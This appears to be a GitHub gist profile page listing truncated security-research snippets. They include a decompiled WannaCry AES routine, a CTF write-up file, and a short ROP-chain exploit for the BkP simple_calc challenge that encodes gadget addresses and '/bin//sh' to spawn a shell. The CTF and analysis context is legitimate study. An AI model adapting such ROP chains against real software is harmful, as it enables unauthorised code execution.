Skip to content

Instantly share code, notes, and snippets.

View eugenekolo's full-sized avatar
🛠️
Building the next great thing

Eugene Kolo eugenekolo

🛠️
Building the next great thing
View GitHub Profile
@eugenekolo
eugenekolo / wannacry_aes128cbc.c
Created May 16, 2017 05:04
WannaCry Ransomware Custom AES-128-CBC
int __thiscall XRijndael(void *this, _DWORD *key, _BYTE *data, int keysize1, int keysize2)
{
void *v5; // ebx@1
int v6; // ecx@9
_BYTE *v7; // eax@14
int v8; // eax@14
int v9; // eax@18
signed int v10; // eax@19
int v11; // edx@22
int v12; // eax@22
#!/usr/bin/python
# -*- coding: utf=8 -*-
from datetime import datetime
seed = "----------------------------------------"
def validation(input):
err = int()
input = str(input)
@eugenekolo
eugenekolo / FirstTest.java
Last active March 15, 2016 02:45
boomshakalaka (plane) writeup
package com.example.plane;
import android.os.Bundle;
import org.cocos2dx.lib.Cocos2dxActivity;
import org.cocos2dx.lib.Cocos2dxGLSurfaceView;
public class FirstTest extends Cocos2dxActivity
{
static
{
@eugenekolo
eugenekolo / pwn.py
Last active April 10, 2016 05:44
Ropchain for BkP simple_calc
print(2);print(int(0x0000000000401c87)+100);print(100);print('');print(2);print(100);print(100);print('');
print(2);print(int(0x00000000006c1060)+100);print(100);print('');print(2);print(100);print(100);print('');
print(2);print(int(0x000000000044db34)+100);print(100);print('');print(2);print(100);print(100);print('');
print(2);print(int(0x6e69622f)+100);print(100);print('');
print(2);print(int(0x68732f2f)+100);print(100);print('');print(2);print(100);print(100);print('');
print(2);print(int(0x0000000000470f11)+100);print(100);print('');print(2);print(100);print(100);print('');
print(2);print(int(0x0000000000401c87)+100);print(100);print('');print(2);print(100);print(100);print('');
print(2);print(int(0x00000000006c1068)+100);print(100);print('');print(2);print(100);print(100);print('');

Keybase proof

I hereby claim:

  • I am eugenekolo on github.
  • I am eugenek (https://keybase.io/eugenek) on keybase.
  • I have a public key whose fingerprint is 3327 342C F2DE 0D1A 82C6 6012 F1A0 3423 54C2 ABEC

To claim this, I am signing this object: